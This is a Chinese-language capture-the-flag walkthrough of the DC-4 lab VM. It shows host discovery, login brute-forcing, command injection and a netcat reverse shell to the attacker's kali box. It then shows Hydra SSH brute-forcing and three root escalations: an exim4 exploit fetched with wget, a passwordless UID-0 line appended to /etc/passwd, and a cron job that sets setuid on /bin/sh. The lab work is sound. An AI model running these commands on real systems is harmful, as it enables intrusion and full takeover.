目录
nmap进行主机发现
尝试反弹shell:
进入交互式shell:
Hydra爆破jim用户密码:
ssh登录charles :
提权(三种方法):
exim4提权:
/var/passwd添加用户提权
定时任务提权
DC-4:
DC-4靶场链接:https://www.five86.com/downloads/DC-4.zip
下载后解压会有一个DC-4.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali(192.168.183.138)和靶机都调整至NAT模式
nmap 192.168.183.0/24
命令 nmap 192.168.183.0/24 的作用是对以 192.168.183 开头的所有 IP 地址进行扫描。/24 表示使用子网掩码为 24 来指定要扫描的 IP 范围。具体来说,这个命令将扫描 192.168.183.1 到 192.168.183.254 之间的所有 IP 地址。
Nmap scan report for 192.168.183.147
Host is up (0.00067s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:BB:85:0D (VMware)
所以靶机地址192.168.183.147,开启80端口和22远程登录端口
也可以使用arp-scan -l 进行发现
arp-scan -l
报告为:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.183.1 00:50:56:c0:00:08 VMware, Inc.
192.168.183.2 00:50:56:fc:0d:25 VMware, Inc.
192.168.183.147 00:0c:29:bb:85:0d VMware, Inc.
192.168.183.254 00:50:56:fe:ac:e6 VMware, Inc.
进行whatweb指纹识别(kali自带)
whatweb -v 192.168.183.147
得到报告:
Detected Plugins:
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : nginx/1.15.10 (from server string)
[ PasswordField ]
find password fields
String : password (from field name)
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.15.10
Website : http://nginx.net/
登录80页面,是个登录框,burpsuite抓包密码爆破登录,随便点点发现长度660和636都能登录进去
这里有个列出文件的选项,和dirsearch扫出来的文件一样,打开后都没什么用
但是可以抓包然后run一下,可能涉及命令执行
显然我们能通过修改radio的值来命令执行
执行ls+/、id命令,这里无法执行cat命令
执行 id 命令可以显示当前用户的身份信息。输出结果通常包含以下内容:
- 用户标识号(UID):唯一标识用户的数字值。
- 组标识号(GID):唯一标识用户所属组的数字值。
- 用户名称:当前用户的用户名。
- 组名称:当前用户所属的主要组名称。
- 附加组(如果有):当前用户所属的其他组名称。
- 用户及组的相关权限。
返回uid=33(www-data) gid=33(www-data) groups=33(www-data)
- uid=33 表示当前用户的用户标识号是 33,即该用户是系统中的第 33 个用户。这个用户标识号对于 Linux 系统来说是唯一的,并且很多系统组件和进程都使用它来标识和验证用户身份。
- gid=33 表示当前用户所属的组标识号也是 33,即该用户属于系统中的第 33 个用户组。同样地,组标识号对于 Linux 系统来说也是唯一的,并且用于标识和验证用户所属的组。
- groups=33 表示当前用户同时也属于其他附加组,这里只有一个附加组,也是组标识号为 33 的 www-data 组。
因此,这个输出结果表明当前用户是 www-data 用户组的成员
反弹shell的方法参考:Linux下几种反弹Shell方法的总结与理解 - FreeBuf网络安全行业门户
攻击机kali开启监听:
nc -lvvp 666
Radio后面执行:
nc+192.168.183.138+666+-e+/bin/bash
注意ip是kali的ip,发包然后返回kali
python -c "import pty;pty.spawn('/bin/bash')"
进入后先去翻home,看见三个用户名,在jim的目录下翻到备份密码
www-data@dc-4:/home/jim/backups$ ls
ls
old-passwords.bak
把密码都复制到一个文本里
touch /home/kali/桌面/1.txt
vim /home/kali/桌面/1.txt
按i进入插入模式,复制备份密码,按ESC键退出插入模式,然后输入:wq保存退出
hydra -l jim -P /home/kali/桌面/1.txt ssh://192.168.183.147:22
报告为:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-17 18:02:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 253 login tries (l:1/p:253), ~16 tries per task
[DATA] attacking ssh://192.168.183.147:22/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 99 to do in 00:01h, 14 active
[ssh] host: 192.168.183.147 login: jim password: jibril04
得到密码为jibril04
本来想偷懒同样爆破一下root的密码,不过果然不行
远程登录jim:
ssh jim@靶机ip
看一下/var路径的文件。/var 是一个重要的目录,它包含了许多应用程序和系统服务生成的数据文件。
下面是一些常见的 /var 目录下的子目录及其用途:
- /var/log:存储系统日志文件,包括登录日志、错误日志、应用程序日志等。
- /var/spool:存储邮件队列、打印队列等临时性的数据。
- /var/cache:用于存储应用程序缓存的数据,例如软件包管理器的下载缓存。
- /var/www 或 /var/html:Web 服务器默认的网站根目录,通常用于存储网站文件。
- /var/run:存储正在运行的进程的相关信息,如 PID 文件等。
- /var/tmp:存储临时文件,与 /tmp 目录类似,但该目录下的文件在系统重新启动时不会被清理。
当看到/var/mail/jim的时候,往下拉内容居然是
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
从邮件中可以看出Charles今天结束就要度假了,所以走之前把他的密码给Jim。密码是^xHhA&hvim0y
┌──(kali㉿kali)-[~/桌面]
└─$ ssh [email protected]
[email protected]'s password:
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
charles@dc-4:~$
sudo -l
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4:
(root) NOPASSWD: /usr/bin/teehee
最后一行发现了root权限的命令teehee,teehee是个小众的linux编辑器,如果有sudo权限,可以利用其来提权,核心思路就是利用其在passwd文件中追加一条uid为0的用户条目
查看具有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/null
这个命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:
- find:用于在文件系统中搜索文件和目录。
- /:表示搜索的起始目录,这里是整个文件系统。
- -user root:表示只搜索属主为root的文件。
- -perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。
- -print:表示将搜索到的文件路径输出到标准输出上。
- 2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。
在回显中发现一条/usr/sbin/exim4
可以用exim4提权,先查看exim4版本
exim4 --version
和上一个靶场一样,这里可以使用searchsploit
searchsploit exim 4
出来的结果很多,我们使用46996.sh
"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等
先打开Apache服务:
systemctl start apache2.service
把脚本复制到html下
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
Charles用户那边用 wget命令下载这个脚本
charles@dc-4:/$ wget http://192.168.233.130/46996.sh
但是下载失败,转去/tmp目录下下载
cd /tmp
wget http://192.168.233.130/46996.sh
ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限
chmod +x 46996.sh
执行脚本:
./46996.sh
然后whoami发现已经为root
echo "a::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
echo "a::0:0:::/bin/bash"
:这是生成一个字符串的命令,其中包含了需要添加的用户信息。该字符串包括以下字段:
a
: 新用户的用户名::
: 用户密码(这里为空)0
: 用户ID号,即UID(为0表示超级用户root)0
: 用户组ID号,即GID(为0表示超级用户root)::
: 用户的全名和其他描述信息(这里为空)/bin/bash
: 新用户登录后使用的默认shell
|
:这是管道符号,将上一个命令的输出作为下一个命令的输入。
sudo teehee -a /etc/passwd
:这个命令运行时需要管理员权限,因此使用sudo
来获取管理员权限。teehee
是一个自定义命令,实际上与tee
命令类似,都可以将命令的输出写入文件并在标准输出中显示。-a
参数表示以追加模式打开文件,/etc/passwd
是要写入的目标文件,即用户账户信息存储文件。
综合起来,这个命令的作用是将一个新用户的信息添加到系统中,并利用管道符和teehee命令,将其(一个不用密码root权限的用户a)写入到/etc/passwd
文件中,而我们可以通过修改/etc/passwd文件达到添加用户的效果,文件格式为
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
root提权:
su a
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
这个命令的意思是将一条计划任务添加到系统的crontab中,使得每分钟执行一次chmod 4777 /bin/sh命令,以root用户的权限设置/bin/sh文件的权限为"rwsrwxrwx"。具体解释如下:
1、* * * * * root chmod 4777 /bin/sh:这个命令的作用是将/bin/sh文件的权限设置为"rwsrwxrwx",并且让root用户拥有该文件的所有权和权限。具体来说,这个命令使用了cron表达式(* * * * *),表示每分钟都要执行该命令。chmod 4777 /bin/sh命令中的chmod是一个Linux/Unix系统中用于修改文件或目录权限的命令。它的参数4777表示设置文件权限的特殊模式,其中:
- 第一位数字4表示将setuid标志设置为1,即在执行该文件时,使用该文件所属用户的权限而不是当前用户的权限。
- 后面的777表示将文件的拥有者、所属组和其他用户的权限都设置为读、写和执行(rwx)。
因此,这个命令的作用是给/bin/sh文件设置setuid位,使得任何用户在执行该文件时都能够以root用户的身份运行
2、| sudo teehee -a /etc/crontab:这部分命令使用管道符将上一步的输出传递给teehee命令,并使用sudo命令获取超级用户的权限。teehee命令会将标准输入的内容追加到/etc/crontab文件的末尾,从而将上述计划任务添加到系统的crontab中。
charles@dc-4:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root chmod 4777 /bin/sh
* * * * * root chmod 4777 /bin/sh
还要再执行/bin/sh提权至root
/bin/sh
后面已经提权至root权限,flag在/root下面:
# whoami
root
# cd /root
# ls
flag.txt
# cat flag.txt